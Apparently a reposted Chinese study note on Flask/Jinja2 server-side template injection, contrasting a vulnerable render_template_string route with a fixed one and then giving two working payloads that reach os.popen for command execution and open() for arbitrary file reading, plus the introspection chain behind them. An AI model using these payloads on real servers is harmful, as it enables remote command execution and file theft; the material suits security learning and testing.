[Flask(Jinja2)服務端模板注入漏洞(SSTI)]學習簡記


0x00  關於Flask框架

  https://www.cnblogs.com/hello-there/p/12776502.html

  我的這篇文章中簡單介紹了Flask框架的基本知識


0x01

  參考:

  https://www.freebuf.com/column/187845.html


0x02 漏洞相關

  1)render_template()用來渲染模板文件,而render_template_string()用來渲染一個字符串.

index_page="<h1>This is index page!</h1>"
return render_template_string(index_page)

  2)漏洞形成原因:不正確的使用flask中的render_template_string方法會引發SSTI。

    a)下面來看一段存在漏洞的代碼:

from flask import Flask,render_template_string,request

app = Flask(__name__)
@app.route('/test/')
def test():
    code = request.args.get('id')   //get方式獲取id
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

app.run()

輸入[?id=1],頁面如下:

輸入[?id=<script>alert(/xss/)</script>],看看什么效果?

 

   很明顯,造成了xss漏洞.

    b)將代碼進行修改:

from flask import Flask,render_template_string,request

app = Flask(__name__)
@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>{{code}}</h3>
    '''
    return render_template_string(html,code=code)

app.run()

再輸入[?id=<script>alert(/xss/)</script>],查看頁面,如下:

 

可以看到,js代碼被原樣輸出了。這是因為模板引擎一般都默認對渲染的變量值進行編碼轉義,這樣就不會存在xss了。在這段代碼中用戶所控的是code變量,而不是模板內容。存在漏洞的代碼中,模板內容直接受用戶控制的。


0x03 SSTI文件讀取/命令執行

   1)先貼兩條pyhon2,python3通用的payload:

    

#命令執行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

  其中第一條payload中的[id]可以替換成命令,如ls,cat等,第二條payload的[filename]也可替換成文件名稱.

 

  2)Go deeper

    a)通過對python的對象繼承一步步來實現文件讀取和命令執行,思路大抵為:[尋找父類<type:'object'>]->尋找子類->尋找關於命令執行或者文件操作的模塊.

    

__class__  返回類所屬的對象
__mro__    輸出當前對象所調用的全部類包括其父類
__base__   同__mro__,用來尋找基類
__subclasses__         輸出該類下所有的子類(返回列表)
__init__    類的初始化方法
__globals__    對包含函數全局變量的字典的引用

 

    獲取字符串類的對象:

''.__class__

-><type 'str'>

 

 

    尋找父類:

''.__class__.__mro__(__base__)

-><type 'str'>,<type 'basestring'>,<type 'object'>

 

 

    尋找可用引用:

''.__class__.__base__.__subclasses__()

-><type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>

 

 

    由於本人目前技術有限,所以后面的過程就參考一位師傅的文章:

   https://blog.csdn.net/qq_27446553/article/details/79379136?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-3&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-3

   文章里詳細介紹了尋找payload的思路.

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM